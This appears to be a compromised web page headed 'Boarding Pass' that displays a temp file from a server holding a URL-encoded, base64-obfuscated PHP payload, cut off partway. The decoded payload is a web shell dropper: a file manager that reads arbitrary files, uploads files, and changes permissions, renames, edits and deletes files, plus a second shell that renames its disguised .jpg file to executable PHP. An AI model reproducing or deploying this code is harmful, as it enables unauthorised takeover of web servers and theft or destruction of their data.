Boarding Pass
| Current Path : /tmp/ |
|
|
| Current File : //tmp/phpGbWlxH |
php=error_reporting%280%29%3B%0D%0A%24d+%3D+%22WyI8P3BocFxyXG4gXHJcbmVjaG8gJzwhRE9DVFlQRSBIVE1MPlxyXG48SFRNTD5cclxuPEhFQUQ%2BXHJcbjxsaW5rIGhyZWY9XCJcIiByZWw9XCJzdHlsZXNoZWV0XCIgdHlwZT1cInRleHRcL2Nzc1wiPlxyXG48dGl0bGU%2BPFwvdGl0bGU%2BXHJcbjxzdHlsZT5cclxuYm9keXtcclxuZm9udC1mYW1pbHk6IFwiUmFjaW5nIFNhbnMgT25lXCIsIGN1cnNpdmU7XHJcbmJhY2tncm91bmQtY29sb3I6ICMxQTFBMUE7XHJcbnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7XHJcbmNvbG9yOiNiNGI0YjQ7XHJcbn1cclxuI2NvbnRlbnQgdHI6aG92ZXJ7XHJcbmJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7XHJcbnRleHQtc2hhZG93OjBweCAwcHggMTBweCAjRjAyNTAwO1xyXG59XHJcbiNjb250ZW50IC5maXJzdHtcclxuYmFja2dyb3VuZC1jb2xvcjogI0U2Nzk2QztcclxufVxyXG4jY29udGVudCAuZmlyc3Q6aG92ZXJ7XHJcbmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjtcclxudGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTtcclxufVxyXG50YWJsZXtcclxuYm9yZGVyOiAxcHggI0UzQTE5QSBkb3R0ZWQ7XHJcbn1cclxuSDF7XHJcbmZvbnQtZmFtaWx5OiBcIlJ5ZVwiLCBjdXJzaXZlO1xyXG59XHJcbmF7XHJcbmNvbG9yOiAjRjAyNTAwO1xyXG50ZXh0LWRlY29yYXRpb246IG5vbmU7XHJcbn1cclxuYTpob3ZlcntcclxuY29sb3I6ICNmZmY7XHJcbnRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmZmZmO1xyXG59XHJcbmlucHV0LHNlbGVjdCx0ZXh0YXJlYXtcclxuYm9yZGVyOiAxcHggI0YwMjUwMCBzb2xpZDtcclxuLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7XHJcbi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7XHJcbmJvcmRlci1yYWRpdXM6NXB4O1xyXG59XHJcbjxcL3N0eWxlPlxyXG48XC9IRUFEPlxyXG48Qk9EWT5cclxuPEgxPjxjZW50ZXI%2BPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BXHJcbiBQSyAgPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BXHJcbiA8XC9jZW50ZXI%2BPFwvSDE%2BXHJcbjx0YWJsZSB3aWR0aD1cIjcwMFwiIGJvcmRlcj1cIjBcIiBjZWxscGFkZGluZz1cIjNcIiBjZWxsc3BhY2luZz1cIjFcIiBhbGlnbj1cImNlbnRlclwiPlxyXG48dHI%2BPHRkPkFERFJMSU4gOiAnO1xyXG5pZihpc3NldCgkX0dFVFsncGF0aCddKSl7XHJcbiRwYXRoID0gJF9HRVRbJ3BhdGgnXTtcclxufWVsc2V7XHJcbiRwYXRoID0gZ2V0Y3dkKCk7XHJcbn1cclxuXHJcbiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCdcLycsJHBhdGgpO1xyXG4kcGF0aHMgPSBleHBsb2RlKCdcLycsJHBhdGgpO1xyXG5cclxuZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXtcclxuaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7XHJcbiRhID0gdHJ1ZTtcclxuZWNobyAnPGEgaHJlZj1cIj9wYXRoPVwvXCI%2BXC88XC9hPic7XHJcbmNvbnRpbnVlO1xyXG59XHJcbmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlO1xyXG5lY2hvICc8YSBocmVmPVwiP3BhdGg9JztcclxuZm9yKCRpPTA7JGk8PSRpZDskaSsrKXtcclxuZWNobyBcIiRwYXRoc1skaV1cIjtcclxuaWYoJGkgIT0gJGlkKSBlY2hvIFwiXC9cIjtcclxufVxyXG5lY2hvICdcIj4nLiRwYXQuJzxcL2E%2BXC8nO1xyXG59XHJcbmVjaG8gJzxcL3RkPjxcL3RyPjx0cj48dGQ%2BJztcclxuaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7XHJcbmlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLidcLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXtcclxuXHJcbmVjaG8gJzxmb250IGNvbG9yPVwiZ3JlZW5cIj5GaWxlIFRlci1VcGxvYWQgOiogPFwvZm9udD48YnIgXC8%2BJztcclxufWVsc2V7XHJcbmVjaG8gJzxmb250IGNvbG9yPVwicmVkXCI%2BVXBsb2FkIGdhZ2FsLCBTZXJ2ZXJueWEga2VrIDxpbWcgc3JjPVwiaHR0cDpcL1wvYy5mYXN0Y29tcGFueS5uZXRcL2Fzc2V0X2ZpbGVzXC8tXC8yMDE0XC8xMVwvMTFcLzRGNC5naWZcIlwvPlxyXG4gPFwvZm9udD48YnIgXC8%2BJztcclxufVxyXG59XHJcbmVjaG8gJzxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiIG1ldGhvZD1cIlBPU1RcIj5cclxuRkxMIDogPGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImZpbGVcIiBcLz5cclxuPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cInVwbG9hZFwiIFwvPlxyXG48XC9mb3JtPlxyXG48XC90ZD48XC90cj4nO1xyXG5pZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7XHJcbmVjaG8gXCI8dHI%2BPHRkPkN1cnJlbnQgRmlsZSA6IFwiO1xyXG5lY2hvICRfR0VUWydmaWxlc3JjJ107XHJcbmVjaG8gJzxcL3RyPjxcL3RkPjxcL3RhYmxlPjxiciBcLz4nO1xyXG5lY2hvKCc8cHJlPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzxcL3ByZT4nKTtcclxufWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpe1xyXG5lY2hvICc8XC90YWJsZT48YnIgXC8%2BPGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgXC8%2BPGJyIFwvPic7XHJcbmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7XHJcbmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7XHJcbmlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7XHJcbmVjaG8gJzxmb250IGNvbG9yPVwiZ3JlZW5cIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjxcL2ZvbnQ%2BPGJyIFwvPic7XHJcbn1lbHNle1xyXG5lY2hvICc8Zm9udCBjb2xvcj1cInJlZFwiPkNoYW5nZSBQZXJtaXNzaW9uIEVycm9yLjxcL2ZvbnQ%2BPGJyIFwvPic7XHJcbn1cclxufVxyXG5lY2hvICc8Zm9ybSBtZXRob2Q9XCJQT1NUXCI%2BXHJcblBlcm1pc3Npb24gOiA8aW5wdXQgbmFtZT1cInBlcm1cIiB0eXBlPVwidGV4dFwiIHNpemU9XCI0XCIgdmFsdWU9XCInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJ1wiIFwvPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCInLiRfUE9TVFsncGF0aCddLidcIj5cclxuPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJjaG1vZFwiPlxyXG48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR29cIiBcLz5cclxuPFwvZm9ybT4nO1xyXG59ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpe1xyXG5pZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpe1xyXG5pZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJ1wvJy4kX1BPU1RbJ25ld25hbWUnXSkpe1xyXG5lY2hvICc8Zm9udCBjb2xvcj1cImdyZWVuXCI%2BQ2hhbmdlIE5hbWUgRG9uZS48XC9mb250PjxiciBcLz4nO1xyXG59ZWxzZXtcclxuZWNobyAnPGZvbnQgY29sb3I9XCJyZWRcIj5DaGFuZ2UgTmFtZSBFcnJvci48XC9mb250PjxiciBcLz4nO1xyXG59XHJcbiRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107XHJcbn1cclxuZWNobyAnPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG5OZXcgTmFtZSA6IDxpbnB1dCBuYW1lPVwibmV3bmFtZVwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjIwXCIgdmFsdWU9XCInLiRfUE9TVFsnbmFtZSddLidcIiBcLz5cclxuPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJy4kX1BPU1RbJ3BhdGgnXS4nXCI%2BXHJcbjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwicmVuYW1lXCI%2BXHJcbjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJHb1wiIFwvPlxyXG48XC9mb3JtPic7XHJcbn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpe1xyXG5pZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7XHJcbiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7XHJcbmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpe1xyXG5lY2hvICc8Zm9udCBjb2xvcj1cImdyZWVuXCI%2BRWRpdCBGaWxlIERvbmUgfl9eLjxcL2ZvbnQ%2BPGJyIFwvPic7XHJcbn1lbHNle1xyXG5lY2hvICc8Zm9udCBjb2xvcj1cInJlZFwiPkVkaXQgRmlsZSBFcnJvciB%2BX34uPFwvZm9udD48YnIgXC8%2BJztcclxufVxyXG5mY2xvc2UoJGZwKTtcclxufVxyXG5lY2hvICc8Zm9ybSBtZXRob2Q9XCJQT1NUXCI%2BXHJcbjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT1cInNyY1wiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8XC90ZXh0YXJlYT48YnIgXC8%2BXHJcbjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIicuJF9QT1NUWydwYXRoJ10uJ1wiPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImVkaXRcIj5cclxuPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkdvXCIgXC8%2BXHJcbjxcL2Zvcm0%2BJztcclxufVxyXG5lY2hvICc8XC9jZW50ZXI%2BJztcclxufWVsc2V7XHJcbmVjaG8gJzxcL3RhYmxlPjxiciBcLz48Y2VudGVyPic7XHJcbmlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7XHJcbmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXtcclxuaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXtcclxuZWNobyAnPGZvbnQgY29sb3I9XCJncmVlblwiPkRlbGV0ZSBEaXIgRG9uZS48XC9mb250PjxiciBcLz4nO1xyXG59ZWxzZXtcclxuZWNobyAnPGZvbnQgY29sb3I9XCJyZWRcIj5EZWxldGUgRGlyIEVycm9yLjxcL2ZvbnQ%2BPGJyIFwvPic7XHJcbn1cclxufWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpe1xyXG5pZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXtcclxuZWNobyAnPGZvbnQgY29sb3I9XCJncmVlblwiPkRlbGV0ZSBGaWxlIERvbmUuPFwvZm9udD48YnIgXC8%2BJztcclxufWVsc2V7XHJcbmVjaG8gJzxmb250IGNvbG9yPVwicmVkXCI%2BRGVsZXRlIEZpbGUgRXJyb3IuPFwvZm9udD48YnIgXC8%2BJztcclxufVxyXG59XHJcbn1cclxuZWNobyAnPFwvY2VudGVyPic7XHJcbiRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7XHJcbmVjaG8gJzxkaXYgaWQ9XCJjb250ZW50XCI%2BPHRhYmxlIHdpZHRoPVwiNzAwXCIgYm9yZGVyPVwiMFwiIGNlbGxwYWRkaW5nPVwiM1wiIGNlbGxzcGFjaW5nPVwiMVwiIGFsaWduPVwiY2VudGVyXCI%2BXHJcbjx0ciBjbGFzcz1cImZpcnN0XCI%2BXHJcbjx0ZD48Y2VudGVyPk5hbWU8XC9jZW50ZXI%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPlNpemU8XC9jZW50ZXI%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPFwvY2VudGVyPjxcL3RkPlxyXG48dGQ%2BPGNlbnRlcj5PcHRpb25zPFwvY2VudGVyPjxcL3RkPlxyXG48XC90cj4nO1xyXG5cclxuZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXtcclxuaWYoIWlzX2RpcihcIiRwYXRoXC8kZGlyXCIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7XHJcbmVjaG8gXCI8dHI%2BXHJcbjx0ZD48YSBocmVmPVxcXCI%2FcGF0aD0kcGF0aFwvJGRpclxcXCI%2BJGRpcjxcL2E%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPi0tPFwvY2VudGVyPjxcL3RkPlxyXG48dGQ%2BPGNlbnRlcj5cIjtcclxuaWYoaXNfd3JpdGFibGUoXCIkcGF0aFwvJGRpclwiKSkgZWNobyAnPGZvbnQgY29sb3I9XCJncmVlblwiPic7XHJcbmVsc2VpZighaXNfcmVhZGFibGUoXCIkcGF0aFwvJGRpclwiKSkgZWNobyAnPGZvbnQgY29sb3I9XCJyZWRcIj4nO1xyXG5lY2hvIHBlcm1zKFwiJHBhdGhcLyRkaXJcIik7XHJcbmlmKGlzX3dyaXRhYmxlKFwiJHBhdGhcLyRkaXJcIikgfHwgIWlzX3JlYWRhYmxlKFwiJHBhdGhcLyRkaXJcIikpIGVjaG8gJzxcL2ZvbnQ%2BJztcclxuXHJcbmVjaG8gXCI8XC9jZW50ZXI%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cXFwiUE9TVFxcXCIgYWN0aW9uPVxcXCI%2Fb3B0aW9uJnBhdGg9JHBhdGhcXFwiPlxyXG48c2VsZWN0IG5hbWU9XFxcIm9wdFxcXCI%2BXHJcbjxvcHRpb24gdmFsdWU9XFxcIlxcXCI%2BPFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJkZWxldGVcXFwiPkRlbGV0ZTxcL29wdGlvbj5cclxuPG9wdGlvbiB2YWx1ZT1cXFwiY2htb2RcXFwiPkNobW9kPFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJyZW5hbWVcXFwiPlJlbmFtZTxcL29wdGlvbj5cclxuPFwvc2VsZWN0PlxyXG48aW5wdXQgdHlwZT1cXFwiaGlkZGVuXFxcIiBuYW1lPVxcXCJ0eXBlXFxcIiB2YWx1ZT1cXFwiZGlyXFxcIj5cclxuPGlucHV0IHR5cGU9XFxcImhpZGRlblxcXCIgbmFtZT1cXFwibmFtZVxcXCIgdmFsdWU9XFxcIiRkaXJcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwiaGlkZGVuXFxcIiBuYW1lPVxcXCJwYXRoXFxcIiB2YWx1ZT1cXFwiJHBhdGhcLyRkaXJcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwic3VibWl0XFxcIiB2YWx1ZT1cXFwiPlxcXCIgXC8%2BXHJcbjxcL2Zvcm0%2BPFwvY2VudGVyPjxcL3RkPlxyXG48XC90cj5cIjtcclxufVxyXG5lY2hvICc8dHIgY2xhc3M9XCJmaXJzdFwiPjx0ZD48XC90ZD48dGQ%2BPFwvdGQ%2BPHRkPjxcL3RkPjx0ZD48XC90ZD48XC90cj4nO1xyXG5mb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXtcclxuaWYoIWlzX2ZpbGUoXCIkcGF0aFwvJGZpbGVcIikpIGNvbnRpbnVlO1xyXG4kc2l6ZSA9IGZpbGVzaXplKFwiJHBhdGhcLyRmaWxlXCIpXC8xMDI0O1xyXG4kc2l6ZSA9IHJvdW5kKCRzaXplLDMpO1xyXG5pZigkc2l6ZSA%2BPSAxMDI0KXtcclxuJHNpemUgPSByb3VuZCgkc2l6ZVwvMTAyNCwyKS4nIE1CJztcclxufWVsc2V7XHJcbiRzaXplID0gJHNpemUuJyBLQic7XHJcblxyXG59XHJcblxyXG5lY2hvIFwiPHRyPlxyXG48dGQ%2BPGEgaHJlZj1cXFwiP2ZpbGVzcmM9JHBhdGhcLyRmaWxlJnBhdGg9JHBhdGhcXFwiPiRmaWxlPFwvYT48XC90ZD5cclxuPHRkPjxjZW50ZXI%2BXCIuJHNpemUuXCI8XC9jZW50ZXI%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPlwiO1xyXG5pZihpc193cml0YWJsZShcIiRwYXRoXC8kZmlsZVwiKSkgZWNobyAnPGZvbnQgY29sb3I9XCJncmVlblwiPic7XHJcbmVsc2VpZighaXNfcmVhZGFibGUoXCIkcGF0aFwvJGZpbGVcIikpIGVjaG8gJzxmb250IGNvbG9yPVwicmVkXCI%2BJztcclxuZWNobyBwZXJtcyhcIiRwYXRoXC8kZmlsZVwiKTtcclxuaWYoaXNfd3JpdGFibGUoXCIkcGF0aFwvJGZpbGVcIikgfHwgIWlzX3JlYWRhYmxlKFwiJHBhdGhcLyRmaWxlXCIpKSBlY2hvICc8XC9mb250Pic7XHJcbmVjaG8gXCI8XC9jZW50ZXI%2BPFwvdGQ%2BXHJcbjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cXFwiUE9TVFxcXCIgYWN0aW9uPVxcXCI%2Fb3B0aW9uJnBhdGg9JHBhdGhcXFwiPlxyXG48c2VsZWN0IG5hbWU9XFxcIm9wdFxcXCI%2BXHJcbjxvcHRpb24gdmFsdWU9XFxcIlxcXCI%2BPFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJkZWxldGVcXFwiPkRlbGV0ZTxcL29wdGlvbj5cclxuPG9wdGlvbiB2YWx1ZT1cXFwiY2htb2RcXFwiPkNobW9kPFwvb3B0aW9uPlxyXG48b3B0aW9uIHZhbHVlPVxcXCJyZW5hbWVcXFwiPlJlbmFtZTxcL29wdGlvbj5cclxuPG9wdGlvbiB2YWx1ZT1cXFwiZWRpdFxcXCI%2BRWRpdDxcL29wdGlvbj5cclxuPFwvc2VsZWN0PlxyXG48aW5wdXQgdHlwZT1cXFwiaGlkZGVuXFxcIiBuYW1lPVxcXCJ0eXBlXFxcIiB2YWx1ZT1cXFwiZmlsZVxcXCI%2BXHJcbjxpbnB1dCB0eXBlPVxcXCJoaWRkZW5cXFwiIG5hbWU9XFxcIm5hbWVcXFwiIHZhbHVlPVxcXCIkZmlsZVxcXCI%2BXHJcbjxpbnB1dCB0eXBlPVxcXCJoaWRkZW5cXFwiIG5hbWU9XFxcInBhdGhcXFwiIHZhbHVlPVxcXCIkcGF0aFwvJGZpbGVcXFwiPlxyXG48aW5wdXQgdHlwZT1cXFwic3VibWl0XFxcIiB2YWx1ZT1cXFwiPlxcXCIgXC8%2BXHJcbjxcL2Zvcm0%2BPFwvY2VudGVyPjxcL3RkPlxyXG48XC90cj5cIjtcclxufVxyXG5lY2hvICc8XC90YWJsZT5cclxuPFwvZGl2Pic7XHJcbn1cclxuZWNobyAnPGJyPic7XHJcbmVjaG8gJzxjZW50ZXI%2BPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BPGltZyBzcmM9XCJodHRwczpcL1wvYy50ZW5vci5jb21cL2VIWDUta2gzb2RRQUFBQUNcL3Rlbm9yLmdpZlwiXC8%2BPGJyIFwvPlBLICA8Zm9udCBjb2xvcj1cIiNGRjdGNzNcIj45OTxcL2ZvbnQ%2BPFwvY2VudGVyPlxyXG48XC9CT0RZPlxyXG48XC9IVE1MPic7XHJcbmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXtcclxuJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTtcclxuXHJcbmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHtcclxuXHJcblwvXC8gU29ja2V0XHJcbiRpbmZvID0gJ3MnO1xyXG59IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7XHJcblwvXC8gU3ltYm9saWMgTGlua1xyXG4kaW5mbyA9ICdsJztcclxufSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkge1xyXG5cL1wvIFJlZ3VsYXJcclxuJGluZm8gPSAnLSc7XHJcbn0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHtcclxuXC9cLyBCbG9jayBzcGVjaWFsXHJcbiRpbmZvID0gJ2InO1xyXG59IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7XHJcblwvXC8gRGlyZWN0b3J5XHJcbiRpbmZvID0gJ2QnO1xyXG59IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7XHJcblwvXC8gQ2hhcmFjdGVyIHNwZWNpYWxcclxuJGluZm8gPSAnYyc7XHJcbn0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHtcclxuXC9cLyBGSUZPIHBpcGVcclxuJGluZm8gPSAncCc7XHJcbn0gZWxzZSB7XHJcblwvXC8gVW5rbm93blxyXG4kaW5mbyA9ICd1JztcclxufVxyXG5cclxuXC9cLyBPd25lclxyXG4kaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpO1xyXG4kaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpO1xyXG4kaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgP1xyXG4oKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6XHJcbigoJHBlcm1zICYgMHgwODAwKSA%2FICdTJyA6ICctJykpO1xyXG5cclxuXHJcblwvXC8gR3JvdXBcclxuJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTtcclxuJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTtcclxuJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID9cclxuKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOlxyXG4oKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTtcclxuXHJcblwvXC8gV29ybGRcclxuJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTtcclxuJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTtcclxuXHJcbiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA%2FXHJcbigoJHBlcm1zICYgMHgwMjAwKSA%2FICd0JyA6ICd4JyApIDpcclxuKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7XHJcblxyXG5yZXR1cm4gJGluZm87XHJcbn1cclxuPz4iLCI8P3BocFxyXG4kb2xkID0gX19GSUxFX187XHJcbiRuZXcgPSBwcmVnX3JlcGxhY2UoJ1wvXFxcXC5qcGckXC8nLCAnJywgJG9sZCk7XHJcbnJlbmFtZSgkb2xkLCAkbmV3KTtcclxuZWNobyBcIlJlbmFtZWQgJG9sZCB0byAkbmV3XCI7XHJcbj8%2BXHJcblxyXG48P3BocFxyXG4kcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gJF9HRVRbJ3BhdGgnXSA6ICcuJztcclxuJHBhdGggPSByZWFscGF0aCgkcGF0aCk7XHJcblxyXG5cL1wvID8%2FPz8%2FID8%2FPz9cclxuZWNobyBcIjxoMz5QYXRoOiAkcGF0aDxcL2gzPlwiO1xyXG5cclxuXC9cLyA%2FPz8%2FPyA%2FPz8%2FPz8%2FPyA%2FPz8%2FPz9cclxuZWNobyBcIjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlwZT0nbXVsdGlwYXJ0XC9mb3JtLWRhdGEnPlxyXG4gICAgPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnPlxyXG4gICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndXBsb2FkX3BhdGgnIHZhbHVlPSdcIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpIC4gXCInPlxyXG4gICAgPGJ1dHRvbiB0eXBlPSdzdWJtaXQnPlVwbG9hZDxcL2J1dHRvbj5cclxuPFwvZm9ybT5cIjtcclxuXHJcblwvXC8gPz8%2FPz8%2FPz8%2FID8%2FPz8%2FPz8%2FID8%2FPz8%2FXHJcbmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpIHtcclxuICAgICR1cGxvYWRQYXRoID0gaXNzZXQoJF9QT1NUWyd1cGxvYWRfcGF0aCddKSA%2FICRfUE9TVFsndXBsb2FkX3BhdGgnXSA6ICRwYXRoO1xyXG4gICAgJHVwbG9hZGVkRmlsZSA9ICR1cGxvYWRQYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtcclxuICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZWRGaWxlKSkge1xyXG4gICAgICAgIGVjaG8gXCI8cCBzdHlsZT0nY29sb3I6Z3JlZW47Jz5GaWxlIHVwbG9hZGVkOiBcIiAuIGh0bWxzcGVjaWFsY2hhcnMoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pIC4gXCI8XC9wPlwiO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBlY2hvIFwiPHAgc3R5bGU9J2NvbG9yOnJlZDsnPkZhaWxlZCB0byB1cGxvYWQgZmlsZS48XC9wPlwiO1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvID8%2FPz8%2FPz8%2FPyA%2FPz8%2FPz8%2FPyA%2FPz8%2FP1xyXG5pZiAoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkge1xyXG4gICAgJGZpbGVUb0RlbGV0ZSA9ICRwYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfR0VUWydkZWxldGUnXTtcclxuICAgIGlmIChpc19maWxlKCRmaWxlVG9EZWxldGUpICYmIHVubGluaygkZmlsZVRvRGVsZXRlKSkge1xyXG4gICAgICAgIGVjaG8gXCI8cCBzdHlsZT0nY29sb3I6Z3JlZW47Jz5GaWxlIGRlbGV0ZWQ6IFwiIC4gaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZGVsZXRlJ10pIC4gXCI8XC9wPlwiO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBlY2hvIFwiPHAgc3R5bGU9J2NvbG9yOnJlZDsnPkZhaWxlZCB0byBkZWxldGUgZmlsZS48XC9wPlwiO1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvID8%2FPz8%2FPz8%2FPyA%2FPz8%2FPz8%2FPz8%2FID8%2FPz8%2FPz8%2FPyA%2FID8%2FPz8%2FXHJcbmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnZWRpdF9maWxlJ10pKSB7XHJcbiAgICAkZmlsZVRvRWRpdCA9ICRwYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuI